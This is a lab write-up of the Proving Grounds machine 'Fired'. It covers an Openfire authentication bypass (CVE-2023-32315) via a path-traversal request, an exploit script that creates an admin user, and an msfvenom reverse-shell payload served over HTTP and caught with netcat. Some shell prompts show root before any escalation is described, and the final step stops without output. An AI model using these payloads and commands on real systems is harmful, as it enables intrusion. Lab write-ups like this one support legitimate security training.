Proving Grounds: Fired

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

In this lab, you will leverage enumeration techniques to identify potential vulnerabilities. The lab involves exploiting CVE-2023-32315 and practicing privilege escalation to gain unauthorized access. This lab focuses on understanding and exploiting vulnerabilities to enhance security awareness.

Scenario

This lab focuses on exploiting CVE-2023-32315, a Path Traversal vulnerability in Openfire's Admin Console. By abusing an unauthenticated setup environment, attackers can bypass authentication, create an admin user, upload a malicious plugin, and achieve Remote Code Execution (RCE). Privilege escalation is achieved by extracting SMTP credentials and gaining root access.

Learning objectives

After completion of this lab, learners will be able to:

Perform enumeration to identify Openfire's Admin Console running on port 9090.
Exploit CVE-2023-32315 using an automated script to create a new admin user.
Leverage the new admin access to upload a malicious plugin and achieve RCE as the openfire user.
Enumerate the embedded database to extract cleartext SMTP credentials.
Use the recovered credentials to escalate to root privileges and retrieve the final proof.

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT     STATE SERVICE                VERSION
22/tcp   open  ssh                    OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 51:56:a7:34:16:8e:3d:47:17:c8:96:d5:e6:94:46:46 (RSA)
|   256 fe:76:e3:4c:2b:f6:f5:21:a2:4d:9f:59:52:39:b9:16 (ECDSA)
|_  256 2c:dd:62:7d:d6:1c:f4:fd:a1:e4:c8:aa:11:ae:d6:1f (ED25519)
9090/tcp open  hadoop-tasktracker     Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: jive-ibtn jive-btn-gradient
|_http-title: Site doesn\'t have a title (text/html).
| hadoop-tasktracker-info: 
|_  Logs: jive-ibtn jive-btn-gradient
9091/tcp open  ssl/hadoop-tasktracker Apache Hadoop
| hadoop-tasktracker-info: 
|_  Logs: jive-ibtn jive-btn-gradient
| ssl-cert: Subject: commonName=localhost
| Subject Alternative Name: DNS:localhost, DNS:*.localhost
| Not valid before: 2024-06-28T07:02:39
|_Not valid after:  2029-06-27T07:02:39
| hadoop-datanode-info: 
|_  Logs: jive-ibtn jive-btn-gradient
|_http-title: Site doesn\'t have a title (text/html).
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 9091 shows random text
Port 9090 loads openfire admin console
Found a article that highlights Authentication Bypass and Path Transversal for openfire
Followed the method as per Understanding CVE-2023-32315: Path Traversal in Openfire Admin Console

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/user-create.jsp?csrf=RMGGKs8QAoxf7iY&username=test&password=test@123&passwordconfirm=test@123&usadmin=on&create=Create%2bUser HTTP/1.1

However, this did not work
Searching more, we came across a githuib CVE-2023-32315-EXPLOIT

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# Run the helper or analysis script used in this lab step.

└─$ python3 CVE-2023-32315.py -u http://192.168.173.96:9090

 ██████ ██    ██ ███████       ██████   ██████  ██████  ██████        ██████  ██████  ██████   ██ ███████
██      ██    ██ ██                 ██ ██  ████      ██      ██            ██      ██      ██ ███ ██     
██      ██    ██ █████   █████  █████  ██ ██ ██  █████   █████  █████  █████   █████   █████   ██ ███████
██       ██  ██  ██            ██      ████  ██ ██           ██            ██ ██           ██  ██      ██
 ██████   ████   ███████       ███████  ██████  ███████ ██████        ██████  ███████ ██████   ██ ███████

Coded By: K3ysTr0K3R --> Hug me ʕっ•ᴥ•ʔっ

[*] Launching exploit against: http://192.168.173.96:9090
[*] Checking if the target is vulnerable
[+] Target is vulnerable
[*] Adding credentials
[+] Successfully added, here are the credentials
[+] Username: hugme
[+] Password: HugmeNOW

Using this credentials we are able to login into the openfire admin console now
After we are logged in, following the as per this article that mentions uploading a malicious plugin

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

─(.myenv)─(kali㉿kali)-[~/offsec/fired]
# Execute the next evidence-gathering step in the authorized lab.

└─$ msfvenom -p linux/x64/shell_reverse_tcp -f elf -o pshell LHOST=192.168.45.164 LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 74 bytes
Final size of elf file: 194 bytes
Saved as: pshell
                                                                                                                                     
┌──(.myenv)─(kali㉿kali)-[~/offsec/fired]
# Run the helper or analysis script used in this lab step.

└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.173.96 - - [19/Jun/2026 17:21:00] "GET /pshell HTTP/1.1" 200

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

(kali㉿kali)-[~/offsec/fired]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 1234
listening on [any] 1234 ...
connect to [192.168.45.164] from (UNKNOWN) [192.168.173.96] 42114
# Run the helper or analysis script used in this lab step.

python3 -c 'import pty;pty.spawn("/bin/bash")'
# Execute the next evidence-gathering step in the authorized lab.

openfire@openfire:/$ id
id
uid=114(openfire) gid=118(openfire) groups=118(openfire)

Privilege Escalation

Nothing interesting found in linpeas, no crontab, no sudo -l permissions
Exploring aroung, found the openfire under /var/lib

This block investigates or exercises a privilege-escalation path. The output is used to confirm elevated permissions or the conditions required to obtain them.

# Inspect the directory for files relevant to the next step.

ls
embedded-db  plugins
root@openfire:/var/lib/openfire# cd emb*
# Move into the directory needed for the next action.

cd emb*
root@openfire:/var/lib/openfire/embedded-db# ls
# Inspect the directory for files relevant to the next step.

ls
openfire.lck  openfire.log  openfire.properties  openfire.script  openfire.tmp
root@openfire:/var/lib/openfire/embedded-db# cat openfire.script

Takeaways

This lab reinforced the value of methodical enumeration, evidence-driven hypothesis testing, and validating each access-control boundary in an authorized environment.